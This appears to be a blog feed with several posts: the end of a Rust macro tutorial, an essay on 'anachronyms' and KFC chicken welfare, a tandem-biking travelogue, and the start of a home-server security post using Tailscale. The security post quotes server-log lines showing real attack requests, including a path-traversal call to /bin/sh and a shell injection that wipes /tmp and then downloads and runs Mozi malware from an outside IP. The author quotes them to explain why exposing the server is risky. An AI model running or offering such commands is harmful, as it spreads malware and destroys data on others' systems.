Some(Err(e)) =&gt; Err(e)?, None =&gt; Err(Error::new(unexpected_end_msg.to_string()))?, }; reader.next(); // TODO: assert this is an EndElement; raise error if not result } } }; } // ...then use it to generate an implementation for each numeric type generate_numeric_impl!(u8); generate_numeric_impl!(i8); generate_numeric_impl!(u16); generate_numeric_impl!(i16); generate_numeric_impl!(u32); generate_numeric_impl!(i32); generate_numeric_impl!(u64); generate_numeric_impl!(i64); generate_numeric_impl!(u128); generate_numeric_impl!(i128); generate_numeric_impl!(usize); generate_numeric_impl!(isize); </code></pre> <p>Now we only have one place to maintain all our logic, and supporting another type of the same "family" is as simple as adding one line. Neat!</p> <h3 id="adding-more-functionality-with-attributes">Adding more functionality with attributes</h3> <p>Another weakness of the <a href="https://simpsonian.ca/blog/writing-a-procedural-macro-in-rust/#macro-snippet">macro snippet</a> we looked at earlier is that it assumes the XML tag corresponding to your struct will just be the the struct's name in lowercase—e.g., for a struct named <code>Post</code>, it will only look for <code>&lt;post&gt;</code> tags in the XML. Of course, that won't always be the case, so it would be nice if the end user could specify an override somehow; something like "I know this struct is named <code>Post</code>, but in my XML it's represented by <code>&lt;entry&gt;</code> tags." (And likewise for the fields of the struct, too.)</p> <p>We can support this kind of functionality in our macro by adding <em>attributes</em>. Attributes are basically structured annotations the end user can add to their code; our macro will be able to examine those annotations and change its behaviour accordingly. Borrowing from our example before, here's what an attribute to support custom tag specification could look like:</p> <pre><code>struct Channel { title: String, #[deserialize_xml(tag = &quot;lastUpdated&quot;)] // here&#39;s our attribute // The field is named `last_updated`, but the corresponding tag is `&lt;lastUpdated&gt;` last_updated: String, } </code></pre> <p>And here's how our macro might react to seeing that attribute (you can see the full code in <a rel="external" href="https://gitlab.com/JoshWVS/derive-xml/-/blob/master/deserialize_xml_derive/src/lib.rs"><code>deserialize_xml_derive/src/lib.rs</code></a>):</p> <pre><code>// (previously: tag_name = field_name.to_string().to_ascii_lowercase();) // Each field in our struct could have zero or more attributes for raw_attr in &amp;field.attrs { for parsed_attr in parse_attr(raw_attr) { match parsed_attr { // We only support one attribute--if the user provided it, // use that value as the tag name while parsing the XML Attr::Tag(s) =&gt; { tag_name = s; }, } } } </code></pre> <p>Of course, this is only scratching the surface—the crate <a rel="external" href="https://docs.rs/clap/latest/clap/"><code>clap</code></a> is a good example of just how far you can take attributes.</p> <h2 id="conclusion">Conclusion</h2> <p>I hope this post has given some understanding of—and enthusiasm for—macros. They're not the right tool for every job, but they're extremely useful to have in your toolbelt. (And fun!)</p> <p>If you're interested in further exploring the <code>deserialize_xml</code> example, you can check out the <a rel="external" href="https://gitlab.com/JoshWVS/derive-xml/-/tree/master">source code</a> or the <a rel="external" href="https://docs.rs/deserialize_xml/latest/deserialize_xml/">documentation</a>. I should probably also point out that the <em>real</em> ecosystem to do this sort of thing in Rust is <a rel="external" href="https://serde.rs/"><code>serde</code></a>—it defines <code>Serialize</code> and <code>Deserialize</code> traits, which other crates have then implemented for a wide range of formats.</p> <p>Happy macro-ing!</p> <hr> <div class="footnote-definition" id="strings"><sup class="footnote-definition-label">1</sup> <p>Yeah, we're going to stick with <code>String</code> and not bother with <code>&amp;str</code>; this isn't an article about lifetimes. Sorry to disappoint.</p> </div> <div class="footnote-definition" id="struct-data-pattern"><sup class="footnote-definition-label">2</sup> <p>But what if those fields aren't really optional for our struct—e.g., assume our <code>Post</code> <em>must</em> have a title; how can we handle that? One solution that I'm partial to is to have two structs, <code>Post</code> and <code>PostData</code>, and provide an implementation of <a rel="external" href="https://doc.rust-lang.org/std/convert/trait.TryFrom.html"><code>TryFrom&lt;PostData&gt;</code></a> for <code>Post</code>.<code>PostData</code> is a "plain old data" struct that simply holds an <code>Option&lt;T&gt;</code> version of each field in <code>Post</code>. When we want to extract a <code>Post</code> from XML, we start by parsing the XML to a <code>PostData</code> struct. (Since all of the <code>PostData</code> fields are <code>Option&lt;T&gt;</code>, it's fine if some are missing at that point.) To get an actual <code>Post</code> instance, we need to call <code>Post::try_from(post_data)</code>—which is exactly where we can put any necessary validation logic (e.g., <code>Post::title is required, but PostData::title is None</code>). This approach ensures we never create an invalid <code>Post</code>, but without unduly complicating our XML parsing.</p> </div> <div class="footnote-definition" id="tokenstream"><sup class="footnote-definition-label">3</sup> <p>Technically, a <a rel="external" href="https://doc.rust-lang.org/proc_macro/struct.TokenStream.html"><code>TokenStream</code></a>.</p> </div> <div class="footnote-definition" id="template-analogy"><sup class="footnote-definition-label">4</sup> <p>I know, this sounds exactly like how I described declarative (not procedural!) macros before. Declarative macros use a <code>match</code>-like syntax, which can make it difficult to express complex logic. Since procedural macros operate on the <code>TokenStream</code> directly, there's no such limitation. Personally, I still find "(complicated) template expansion" to be a good mental model of what you can do with them.</p> </div> 2022-05-06T00:00:00+00:00 2022-05-06T00:00:00+00:00 https://simpsonian.ca/blog/anachronyms/ <p>Quick, what does KFC stand for?</p> <span id="continue-reading"></span><p style="margin-bottom:15em;"></p> <p>That's right, clearly they stand for nothing at all, because Colonel Sanders continues to perpetuate an unconscionable chicken genocide on the order of billions of deaths per year in an unflinchingly single-minded pursuit of corporate profits!<sup class="footnote-reference"><a href="#1">1</a></sup></p> <p>But while I certainly love delivering Col. Sanders a burn more severe than battering him (in both senses), then dunking his head straight into a deep fryer, my goal today is not flaccid moral pontification—I have <em>linguistic</em> aims in mind.<sup class="footnote-reference"><a href="#2">2</a></sup></p> <p>You see, in a purely technical sense, KFC doesn't stand for anything either: in 1991, the restaurant chain hitherto known as "Kentucky Fried Chicken" officially rebranded to "KFC."</p> <p>This is known as an <em>anachronym</em>: a word that <em>used</em> to be an acronym,<sup class="footnote-reference"><a href="#3">3</a></sup> but now exists in its own right, without pointing to some other referent.</p> <p>Except that isn't quite true either; it's probably more accurate to say that according to current "official" usage, you could almost call KFC an <em>anacronym</em> (without the "h"), but I have both semantic and orthographic bones to pick with that—no Sanders, get that damn wishbone out of my face!</p> <p>First of all, the meaning. The Oxford English Dictionary offers the following for <em>anacronym</em>: "an acronym or initialism for which the expanded form is not widely known." Given that I rarely hear people talk about light-amplification-by-stimulated-emission-of-radiation pointers, or self-contained-underwater-breathing-apparatus diving, I think it's safe to count "laser" and "scuba" as examples. But going strictly by the OED definition, KFC is not an anacronym—barring an episode of mass amnesia, everyone knows what the expanded form used to be. Regardless, KFC fits the spirit of the word so perfectly, I couldn't imagine discounting it. Perhaps the definition could be amended to "…for which the expanded form is not widely known <em>or officially used</em>."</p> <p>Secondly, I feel a compulsion to sneak an extra "h" into the spelling (making it <em>anachronym</em>, not <em>anacronym</em>). I am not alone in this wholesome habit; the enlightened editors of Network World also <a rel="external" href="https://web.archive.org/web/20220505194303/https://www.networkworld.com/article/2280053/acronyms--backronyms--and-anachronyms.html">endorsed this spelling</a> a mere… 14 years ago. The Online Etymology Dictionary gives the beginning of <em>acronym</em> as the prefix <a rel="external" href="https://www.etymonline.com/word/acro-">acro-</a>, meaning "highest, topmost, <em>at the extremities</em>" (emphasis mine); I suppose the letters of an acronym are indeed at the (frontal) extremity of their constituent words. Spelling it as <em>anachronym</em> destroys that semantic link, but I feel that is a worthy price to pay to instead bring in <a rel="external" href="https://www.etymonline.com/word/chrono-">chrono-</a>. The nod to Father Time is doubly appealing: usually it is his relentless march that leads to the expanded form being lost (it becomes an ana-<em>chron</em>-ism!), and it would settle an etymological matter. To the latter point, the Oxford English Dictionary thinks anacronym is "probably a blend of anachronism n. and acronym n.," but also mentions the possibility that the first syllable is the prefix <em><a rel="external" href="https://www.etymonline.com/word/an-">an-</a></em>, "hence with the meaning 'that is not an acronym'." Hogwash—this is all about anachronisms and acronyms; let's put them front and centre.</p> <p>So there you have it: a neat word to begin with, and doubly so if you join my rebel alliance of <em>anachronym</em>-ists, with our corrected spelling and more inclusive definition. Since I'm rather taken with this as a corporate trend, let me offer you two other Canadian anachronyms: that behemoth of boxed mac-and-cheese products was known for decades as "Kraft Dinner" up north, but the suits <a rel="external" href="https://web.archive.org/web/20220429181435/https://www.cbc.ca/news/trending/kraft-dinner-officially-changes-its-name-to-kd-1.3174613">cut it down</a> to simply "KD" in 2015. Similarly, if you log in to the e-learning platform Brightspace, you're using a product from the software company "D2L." Once upon a time, however, that was "Desire2Learn"—I don't have a press release to prove this one, but the branded flip-flops I snagged during an internship there can attest to this important time in Canadian history.</p> <figure> <img src="/blog/anachronyms/./flipflop.jpg" alt="A photo of a flip-flop with the old Desire2Learn logo on the strap" class="centre"> <figcaption><p>Ah, to be an intern again… subsiding solely on the contents of the snack cupboard (filled with Kraft Dinner, not KD, thank you very much!); nabbing any swag that wasn't nailed down—those were the days.</p> </figcaption> </figure> <p>In fact, if you're going to grant me <em>anachronym</em>, we might as well go all the way. Let's define an <em>anarchonym</em> (think <em>anarchy</em>) to be "an acronym or initialism in which the order of the letters does not match that of the expanded form." For instance, RABFU is an anarchonym: namely, it's a FUBAR "FUBAR." At this point we're only a stone's throw away from <em>arachnonym</em>, which I guess is just any name for a pet spider? Fine, fine, I'll leave it there for now, I promise…</p> <hr> <div class="footnote-definition" id="1"><sup class="footnote-definition-label">1</sup> <p>A burn like that demands some kind of factual underpinning. Upon first writing that, my assumption was that all factory farms producing chickens are hellish abattoirs, designed simply to convert unadulterated misery into profit with maximum efficiency. I think perhaps this was informed by PETA's "Kentucky Fried Cruelty" campaign, which seems to date back to <a rel="external" href="https://web.archive.org/web/20030108103051/http://www.kentuckyfriedcruelty.com/">at least 2003</a>; in particular, their <a rel="external" href="https://web.archive.org/web/20220506155056/https://www.peta.org/videos/tysons-dirty-deeds/">undercover footage</a> from a Tyson Foods slaughterhouse is heartbreaking. That being said, I was enthused to discover there are small rays of light beginning to pierce this bleak landscape.</p> </div> <p>The <a rel="external" href="https://betterchickencommitment.com/">Better Chicken Commitment</a> (BCC) outlines a set of policies for the more humane treatment of chickens in the food industry;<sup class="footnote-reference"><a href="#4">4</a></sup> over the past few years a number of big names have pledged to meet these standards. <a rel="external" href="https://www.worldanimalprotection.org/">World Animal Protection</a> tracks companies' progress towards these targets in their annual report, <em>The Pecking Order</em> (yes, really). The <a rel="external" href="https://web.archive.org/web/20220505153208/https://www.worldanimalprotection.org/pecking-order-2021">2021 edition</a> is a mixed bucket for KFC: according to the report, most national operations follow Yum! Brands' <a rel="external" href="https://web.archive.org/web/20210907025518/https://www.yum.com/wps/wcm/connect/yumbrands/4c34c593-4766-446d-9132-fe53ea18d3e8/Global-Animal-Welfare-Policy-Formatting-V3-082621.pdf?MOD=AJPERES&amp;CVID=nKEfHIP">global animal welfare policy</a> (note the general lack of hard targets…), which "explicitly covers chicken welfare, but is not aligned with the BCC;" those countries (including the US) score abysmally (typically 5 out of 90 points). However, some of the European operations fare much better. KFC UK &amp; Ireland is the star among them, achieving the top rank of "Tier 1 - Leading" after earning the full 30 marks for "corporate commitments" as well as "objectives and targets," and a further 23/30 on "performance reporting." They earned points in that latter category for their annual chicken welfare report. Those reports are fascinating, but you'd be forgiven for not finding them—at time of writing, any request I make to <a rel="external" href="https://www.kfc.co.uk">www.kfc.co.uk</a> is being denied (403 Forbidden). As usual, the <a rel="external" href="https://web.archive.org/">Wayback Machine</a> comes to the rescue; here's <a rel="external" href="https://web.archive.org/web/20211024020503/https://brand-uk.assets.kfc.co.uk/KFC_Annual_Progress_3007_UK-v2.pdf">the 2021 edition</a> (see also <a rel="external" href="https://web.archive.org/web/20220505155534/http://kfc-uk-brand.s3.eu-west-1.amazonaws.com/drupal/production/2020-07/KFC_Annual_Report_Chicken_Welfare_2020.pdf">the 2020 edition</a>, which has a very helpful high-level diagram of the supply chain).</p> <p>Let's be clear: this is not enough. According to KFC's own report, several metrics worsened in 2020—e.g., mortality hitting its highest recorded level (4.37%, up from 4.00% in 2019), a lower percentage of high welfare breeds were in use (1.73%, down from 2.65%—if I'm reading the BCC correctly, they've pledged to get this to 100% by 2026‽), and a bump in executions by electric water bath (generally considered to be less humane than "controlled atmosphere stunning" (CAS); CAS accounted for 62% of deaths in 2019, but only 57% in 2020). It seems we're also still in the (probably unavoidable) "cheap talk" stage of the BCC: earning the full 30 marks for "corporate commitments" is nice, but at some point you do actually have to <em>make things better</em>. (What's more, all of this already assumes that the best option—just not eating the chickens in the first place—is not even on the table.)</p> <p>However, viciously criticizing KFC UK &amp; Ireland using the welfare data they willingly publish would be tantamount to <a rel="external" href="https://en.wikipedia.org/wiki/Streetlight_effect">drunkenly stumbling under the streetlight</a>. Assuming this data is being reported accurately,<sup class="footnote-reference"><a href="#5">5</a></sup> KFC UK &amp; Ireland is providing a level of transparency far beyond any of their competitors; while these staid corporate charts belie an ocean of suffering, they are also an invaluable tool in alleviating that suffering. What we can measure, we can improve; while we must remain mindful of <a rel="external" href="https://en.wikipedia.org/wiki/Goodhart%27s_law">Goodhart's Law</a>, I remain confident that a solid empirical grounding provides our best chance at effecting meaningful change.</p> <p>So while I still feel justified in my snarky barb, KFC UK &amp; Ireland earns my kudos as well. Once again, <em>this isn't enough</em>, but it is a commendable start—and that deserves to be recognized.</p> <div class="footnote-definition" id="2"><sup class="footnote-definition-label">2</sup> <p>Well, perhaps <em>had</em> is more accurate; the chicken welfare digression ended up overwhelming the rest.</p> </div> <div class="footnote-definition" id="3"><sup class="footnote-definition-label">3</sup> <p>Yes, yes, KFC was an initialism, not an acronym; gold star for you; it's now an anachronym all the same.</p> </div> <div class="footnote-definition" id="4"><sup class="footnote-definition-label">4</sup> <p>Yes, this is a footnote for a footnote, and yes obviously it isn't typeset correctly; I'm not happy about it either. More to the point, I find it curious that the Better Chicken Commitment website offers no information on the history of the project—when it started, who the original sponsors were, etc. It's only from a <a rel="external" href="https://web.archive.org/web/20220505144212/https://betterchickencommitment.com/letter.pdf">PDF copy of a letter</a> at the bottom of their policy page that we find a date (November 2019), and a list of signatories (The Humane League, Animal Equality, The Humane Society of the United States, Mercy for Animals, World Animal Protection, Canadian Coalition for Farm Animals, Humane Society International Canada, American Society for the Prevention of Cruelty to Animals, Compassion in World Farming, and Four Paws). I'm also surprised that while (version two) of the BCC lays out conditions on stocking density, floor covering, "functional enrichments," acceptable slaughter methods, and more, there's no mention of debeaking. Per <a rel="external" href="https://web.archive.org/web/20220505151454/https://en.wikipedia.org/wiki/Debeaking#Legislation">Wikipedia</a>, some European countries have begun to outlaw debeaking and "analysts expect the practice to be gradually banned across the continent"—to me, that suggests there must be some anti-debeaking momentum; its absence from the BCC strikes me as slightly unusual. (This might just be my own ignorance on display; I am not a subject matter expert here, and may be overlooking an obvious explanation.)</p> </div> <div class="footnote-definition" id="5"><sup class="footnote-definition-label">5</sup> <p>I don't have much direct evidence that would lead me to doubt this, but I'm starting from a place of vague general distrust born of reading one too many "oops, giant multinational did a greenwashing!" articles. In that vein, see <a rel="external" href="https://web.archive.org/web/20220505232216/https://vfcfoods.com/where-does-kfc-chicken-come-from/">this video</a> from VFC Foods, which claims that some of KFC's "Behind the Bucket" marketing is at best puffery, and potentially downright misleading. I do think the report figures are more likely to be accurate than KFC's marketing, and it's worth noting that VFC does offer a competing vegan product, but still… this doesn't improve my perception of KFC.</p> </div> 2022-04-27T00:00:00+00:00 2022-04-27T00:00:00+00:00 https://simpsonian.ca/blog/life-in-a-tandemic/ <p>It seems that biking across the Golden Gate Bridge is perhaps <em>the</em> quintessential San Francisco tourist activity.</p> <p>For the life of me, I cannot understand why.</p> <span id="continue-reading"></span> <p>Here's the situation: I've accompanied my brother (yes, <a href="https://simpsonian.ca/blog/the-two-tractor-challenge/">that brother</a>) on a business trip to San Francisco. Unfortunately, he immediately falls victim to el Corona and spends most of the trip taking a detailed inventory of the stucco stalactites on his hotel room's ceiling. By the last day of the trip, he's feeling better, completed his CDC-recommended isolation, and eager to salvage what fun he can in the time left. Me, the big softie that I am, don't have the heart to deny him.</p> <p>"So, what do you want to do?"</p> <p>"I want to go biking."</p> <p>"Sure, sounds cool. We can rent a couple bikes and explore the city a bit."</p> <p>"No no, <em>tandem</em> biking."</p> <p>(pause, sigh) "Okay."</p> <p>As it turns out, if you want a tandem bike rental on short notice, you're going to have to go somewhere that specializes in tourists. We drop our bags at the front desk, and hoof it over to Blazing Saddles in Fisherman's Wharf.</p> <p>The atmosphere there is friendly, if not overly "professional"—I get a general sense that the employees are counting down the minutes until they can hit up happy hour and subsequently do unprintable things to each other. We're breezily passed from one employee to another in an invisible, yet extremely high-speed conveyor belt that sees us checked in, subject to a truly baffling instructional video, fitted with helmets, and finally taken to the basement to retrieve our four-pedaled chariot.</p> <p>As best I can tell, basement guy's job is to nominally ensure that you can actually operate the equipment you've rented. I say nominally because clearly we cannot—at first, we succeed only in moving the bike sideways as we tip it over repeatedly. When we progress to forward momentum, it's in such a drunken, stumbling lurch that we would have summarily been issued a DUI, were we capable of making it more than ten metres ahead at a time. This is also when I learn that my cycling enthusiast brother has never ridden a tandem either. My confidence levels—not high to begin with—are shot, and I express to my brother that perhaps we'd be better off switching to separate bikes after all.</p> <p>Basement guy isn't having any of it. "You'll get the hang of it," he insists. "Just do me a favour and <em>walk</em> the bike down this hill before you start riding it, okay? Have fun!" I manage to request a map before we're frogmarched out the front.</p> <p>Mercifully, we begin cycling on a separated bike lane, and do indeed get the hang of it fairly quickly. (Turns out it's pretty important to turn the pedals <em>at the same time</em>—a rather astonishingly obvious nugget of advice, but one that was never forthcoming from basement guy.) When you're on a rental bike on the north shore of SF, there's only one destination, and so we set our sights on the Golden Gate Bridge.</p> <p>My brother's riding up front, as I had less than zero desire to navigate, which leaves me in the back. The rear seat, I'm told, is responsible for generating more of the "power" to propel us forward. When I first made the choice, that seemed a perfectly reasonable compromise, but as we approach the first steep hill, I begin to have second thoughts. My brother insists the bike's frame is made of steel, but I could swear it's filled with lead (an anti-theft measure??). Speaking of my brother, he's no light load either—a fit guy, certainly, but it doesn't take us long to realize that having recently had one's lungs ravaged by COVID somewhat puts a damper on one's cardiovascular capabilities. Combined, these factors conspire to make even the slightest incline a Sisyphean task—well, perhaps more accurately a <em>Herculean</em> task, because unlike that other arrogant ninny, I eventually <em>succeed</em> at rolling our asses up that hill (with only a minimum of wheezing, gasping, and panting). The bridge is before us!</p> <p>As we approach, we learn that only one side of the bridge is open to non-motorized traffic, and it's not particularly wide—were I to stand in the middle and fully stretch out my arms, I don't think I'd quite reach both sides, but it would be close. (Of course, actually attempting this experience would have spelled certain death by trampling, so please accept my approximation.)</p> <p>Inexplicably, the open side of the bridge also happens to be under construction. For those keeping score at home, that leaves one half of one (narrow! did I mention narrow‽) path to be shared by both pedestrians and cyclists, travelling in both directions, all while avoiding the construction crews <em>and vehicles</em> working on the bridge.</p> <p>I see no construction activity of any kind on the other (closed, empty) side of the bridge.</p> <p>So, this is what it's like to <em>actually</em> ride across the Golden Gate bridge: your eyes fix upon the nearest family lumbering towards you. Their perfect linear formation would be the envy of any 19^th-century infantry company, and they occupy the full width of the path. Your manic cries and gesticulations fall on deaf ears; they cannot be swayed. You grit your teeth, find your opening, and pray that the father's corpulence will cushion his young daughter should a collision become unavoidable.</p> <p>Now to be fair to the legions of zombies crossing the bridge, it <em>is</em> quite difficult to hear anything over the enormous din of traffic rushing by a foot to your left and the power tools being operated a foot to your right (not to mention the gale-force winds buffeting you from every direction). Even if you could hear just fine, your cognitive functions and reaction speeds are heavily impaired by the (literally) intoxicating bouquet of emissions surrounding you—the rich, hearty medley of car exhaust complemented quite beautifully by a hint of sweetness from the two-stroke diesel fumes.</p> <p>Affixed at regular intervals are suicide prevention signs. I had assumed that the bridge, with her morose glory and imposing height, was often selected as the final, premeditated destination for those lost to their depression, but in my current situation I empathize with anyone simply desiring to make an unplanned and expedited exit.</p> <p>The reward for your harrowing crossing is Vista Point. Would you like to know what it looks like from Vista Point? It looks like this:</p> <figure> <img src="/blog/life-in-a-tandemic/./vista_point_view.jpg" alt="A photograph of the view from Vista Point" class="centre"> <figcaption><p>"<a rel="external" href="https://flickr.com/photos/dougtone/7363984986">Vista Point - San Francisco, California</a>," by <a rel="external" href="https://flickr.com/photos/dougtone">Doug Kerr</a>, is licensed under <a rel="external" href="https://creativecommons.org/licenses/by-sa/2.0/">CC BY-SA 2.0</a>. I somehow forgot to take my own photo.</p> </figcaption> </figure> <p>It's fine! It's nice! You and the hundreds of other tourists can stand there, cheek-to-cheek, pretend not to notice each other, and look at the city. It's pretty.</p> <p>There's a comfortably-sized parking lot here, and while I would usually rue the banality of erecting an asphalt ellipsoid for the sole purpose of allowing people to <em>drive here</em> and then <em>look at where they came from</em>, on this afternoon I simply can't find it in me to muster up a smug, self-satisfied grin while surveying the cavalcade of Cadillacs. At least they didn't have to inhale their own exhaust on the way over.</p> <p>The way back across the bridge is no different, and certainly no better. (I suppose this is why most tourists opt to continue exploring to Sausalito and take the ferry back from there—quitters, I say, and out an extra thirteen clams per head!) Fortunately, we have a new destination upon which to pin our touristic hopes and dreams: Golden Gate Park. Now Golden Gate Park is one of those baffling, uniquely <em>American</em> creations. To reserve an expanse of a rapidly-growing city and declare:</p> <blockquote> <p>This land shall be a respite for the <em>public</em>—upon these borders, the corrosive industry of urbanism shall never intrude. But preserving nature need not imply an embrace of raw wilderness either; rather, this land shall be dotted with all that which makes this life worth living. It shall be replete with both botany and science; art and athletics; music and Zen; and, of course, natural terrain of all kinds.</p> </blockquote> <p>That is a thing of beauty indeed. If we are capable of building a utopia, it will be in the spirit of Golden Gate Park.</p> <p>But it won't be <em>exactly</em> like Golden Gate Park, because, for all its heart-stirring, high-minded idealism, the actual park is over a thousand acres in area—if you show up on foot, you aren't getting far. This nature preserve is so expansive that they had to pave roads right through it; it's so grand that your recommended options for taking it all in are shuttle bus or Segway tour. All of this transpires without a perceptible hint of irony. On our bike we fare just fine, managing to squeezing in some lovely sights while only needing to navigate a handful of high-speed intersections.</p> <p>Having taken in some of the best that San Francisco has to offer, we had only to return that infernal tandem bike. But, like any good curse, we could not be rid of it without a final trial—retracing our relatively safe, bike-friendly path would take far too long; we were going to have to cut through the heart of the city itself.</p> <p>If, like me, your cycling experience is limited to an occasional Sunday saunter, you might not be overly familiar with the finer points of shifting gears. Here's the challenge we faced: most of our route involved going straight along a road uphill with frequent intersections. When the light turns green, you need to be in a low gear to afford yourself some chance of inspiring the tandem to motion from standstill. Soon after though, you'll need to gear up again; otherwise your feet will be flying while the bike barely moves, and adjacent motorists will gladly risk your lives if it means getting around you. So, fine, start low and then gear up—but, <em>but</em>, and this is easy to miss—when you're near the top of the hill, you need to pre-emptively gear down again, because you almost certainly aren't making that light, and if you don't gear down now, you'll come to a stop in a high gear, so when you need to start moving again—game over. If that makes no sense to you, pay no heed to it. All you need to know is that during our trial by fire, we, unsteady freshmen, had graduated and become perfectly synchronized co-pilots, calmly reading instruments, exchanging commands, and making adjustments as needed. Our steed was not quite the <a rel="external" href="https://web.archive.org/web/20220427214925/https://www.thesr71blackbird.com/Aircraft/Stories/sr-71-blackbird-speed-check-story">SR-71</a>, but the professionalism in our cockpit was no lesser.</p> <p>As I have previously noted the physical toll of operating the rear end of a tandem bicycle, I am obligated to also point out the accompanying mental lightness. Typically, navigating hostile vehicular traffic amid unfamiliar terrain would provoke a certain wide-eyed, white-knuckle terror in me. On this occasion, however, my view was almost entirely occluded by my brother's brutish back, and losing sight of the myriad dangers surrounding us inspired a somewhat blissful equanimity as to my own fate. <em>"If we die, we die,"</em> I shrugged mentally, <em>"my job is to pedal."</em> And pedal I did.</p> <p>Somehow, miraculously, we made it back—a small litany of traffic violations to our names, perhaps, but uninjured. Well, uninjured except for one thing. I didn't think to put sunscreen on my arms and burnt them to a crisp. Sitting at home now, I watch the skin slough off my forearm and gently sway in the air—as if it were still caught on a sunny Pacific breeze.</p> <p>San Francisco is a wonderful, beautiful, impossible place. If you're able to visit, I highly recommend you do so. Just skip the tandem bike, and hike up Twin Peaks instead.</p> 2022-01-28T00:00:00+00:00 2022-01-28T00:00:00+00:00 https://simpsonian.ca/blog/securing-home-network-dnsmasq-tailscale/ <aside> Note: I've chosen to present this in a stream-of-consciousness manner, as opposed to a cooking-show-style "cut to the final product." The end result here is nothing fancy or complicated, but I wanted to present how I arrived at that solution without prior knowledge of what it should look like. I've also included explicit commands showing how I tested things and attempted to falsify certain assumptions along the way. </aside> <p>For a while now I've been running a small home server to self-host a handful of applications (e.g., an RSS reader). It's trivial to access when I'm at home (on the same network as the server), but what about while I'm away? My ISP is kind enough not to block inbound ports 80 &amp; 443, and while my IP address isn't <em>technically</em> static, for practical purposes it seems to be. So, my first attempt at putting all this together was quite straightforward: on my router, I assigned my server (aka <code>treebeard</code>) a static private IP address and forwarded incoming traffic on ports 80 &amp; 443 to it. I set up Apache on the server to keep each application on a separate subdomain and to serve them over HTTPS (using Let's Encrypt certificates). Then all I needed to do was to add a DNS A record pointing to my IP address whenever I added a new subdomain for an application.</p> <figure> <img src="/blog/securing-home-network-dnsmasq-tailscale/./home_network_exposed_to_internet.png" alt="Diagram of previous home network setup" class="centre"> <figcaption><p>My previous home network setup—note <code>treebeard</code> is accessible from the public internet; details omitted for the internal (green) connection</p> </figcaption> </figure> <p>It works! Whether I'm at home or travelling, I can stay up to date with my RSS feeds.</p> <p>However… it should come as no surprise that if you leave a server accessible on the internet, you're going to get some weird requests:</p> <pre><code>[21/Jan/2022:00:46:21] &quot;GET /database/index.php?lang=en HTTP/1.1&quot; [21/Jan/2022:03:36:07] &quot;POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1&quot; [21/Jan/2022:08:54:38] &quot;GET /shell?cd+/tmp;rm+-rf+*;wget+http://117.194.163.80:57578/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1&quot; </code></pre> <p>I've tried to take common-sense precautions (e.g., disabling ssh password authentication; setting up <a rel="external" href="https://www.fail2ban.org">fail2ban</a>), but I'm certainly not a security expert, and I don't monitor this machine zealously. Plus, now I have to hope there aren't any security vulnerabilities in <em>any</em> of the applications I might be messing around with. With everything publicly accessible, it only takes one exploit to compromise it all…</p> <h2 id="brainstorming">Brainstorming</h2> <aside> As it turns out, my router has some form of OpenVPN support built-in, which probably would have alleviated the setup burden, but I'm still happy with the Tailscale solution. </aside> <p>So, how can we do better? Well, I'm vaguely aware of the idea of a "VPN," which I'm pretty sure stands for "virtual private network…" seems promising. I'm also looking for something free (ideally both as in "free beer" and "free speech"); I seem to recall that <a rel="external" href="https://openvpn.net/">OpenVPN</a> and <a rel="external" href="https://www.wireguard.com/">WireGuard</a> are in this space. A quick bit of research confirms my suspicions, however: OpenVPN seems a bit involved to set up, and while WireGuard seems cool, the inherent point-to-point nature looks like it would be an annoyance in practice.</p> <p>But wait… doesn't that one guy with the cool blog also work on something like this? Aha! Indeed, Avery Pennarun (of <a rel="external" href="https://apenwarr.ca/log/">apenwarr.ca</a>) is the CEO of <a rel="external" href="https://tailscale.com/">Tailscale</a>. And oh right, their blog had that amazing explanation of how they do <a rel="external" href="https://web.archive.org/web/20220102071831/https://tailscale.com/blog/how-nat-traversal-works/">NAT traversal</a>—highly recommended. After perusing their docs, Tailscale seems to offer the best of both worlds: WireGuard is used to exchange data between any two nodes, but Tailscale provides a "coordination server" so that you don't need to personally manage setting up all the possible point-to-point connections. Once your device is on Tailscale, it gets a stable IP address at which you can reach it. (As one might expect, Tailscale has an excellent blog post explaining <a rel="external" href="https://web.archive.org/web/20211228011428/https://tailscale.com/blog/how-tailscale-works/">how this all works</a>.) Plus, it looks like the free personal tier is sufficient for my needs—sweet!</p> <p>With all these ingredients, it seems like we're getting somewhere. First, let me formalize what I'm trying to accomplish into some requirements.</p> <h2 id="the-requirements">The requirements</h2> <ol> <li>My home server should not be accessible on the public internet.</li> <li>I should be able to access the applications running on my server from wherever I happen to be (possibly via a VPN).</li> <li>Application URLs should be the same inside and outside of my private network. <ul> <li>I.e., <code>https://miniflux.simpsonian.ca</code> should resolve to my RSS reader whether I'm on my laptop at home, or using data on my phone elsewhere.</li> </ul> </li> <li>Ideally, all of this should be powered by <a rel="external" href="https://www.gnu.org/philosophy/free-sw.html">free software</a>, and also not cost me a cent.</li> </ol> <h2 id="setting-up-the-vpn-tailscale">Setting up the VPN (Tailscale)</h2> <p>O, that all software setup were this joyous. The <a rel="external" href="https://tailscale.com/download">download page</a> is dead simple; adding the repository and installing the package Just Works™ on both my x86 laptop (running Ubuntu) and my ARM server (Debian). I don't <em>love</em> having to use a third-party identity provider (instead of creating an account with my email), but whatever. In a matter of minutes I'm up and running, with pings successfully travelling across a WireGuard tunnel between my laptop and server. Cool!</p> <p>So, what now? Well, at this point, I could update my DNS A records to point to my server's Tailscale IP address (and turn off the packet forwarding on the router). My server would no longer be exposed to the internet, and I could still access it anywhere—success? One thing about this still irks me though: to access the server, I need to use Tailscale all the time, even when I'm on the same private network as my server. I doubt this would be much of an issue practically speaking, but something about it still feels wrong to me. If a friend is visiting and I want to show them something on the server, I should just be able to send them the link, without them needing to install and configure Tailscale.</p> <p>Ultimately, it seems like I want to point <code>miniflux.simpsonian.ca</code> to two different locations: the private IP address when we're inside the network, and the Tailscale IP address when we aren't. That shouldn't be possible though, right? There can only be one set of authoritative records; how could devices on the private network see anything else? Wait… <em>we</em> are in control of the private network, duh! If we set up our own DNS server, presumably we could route <code>simpsonian.ca</code> subdomains to my server's private IP address, while still leaving the authoritative records pointing to the Tailscale IP address. If you're on the private network, you can just connect with no fuss—and if you're outside, you can still connect via Tailscale! (And of course, if the client is trying to look up any other domain, we'll just fall back to the ISP's DNS servers.)</p> <p>A little more research alongs these lines uncovers that I've just re-invented "<a rel="external" href="https://en.wikipedia.org/wiki/Split-horizon_DNS">Split-horizon DNS</a>." Oh well.</p> <p>Anyways, we've got a plan. Let's make it happen!</p> <h2 id="making-it-happen">Making it happen</h2> <h3 id="choosing-a-dns-server">Choosing a DNS server</h3> <p>At 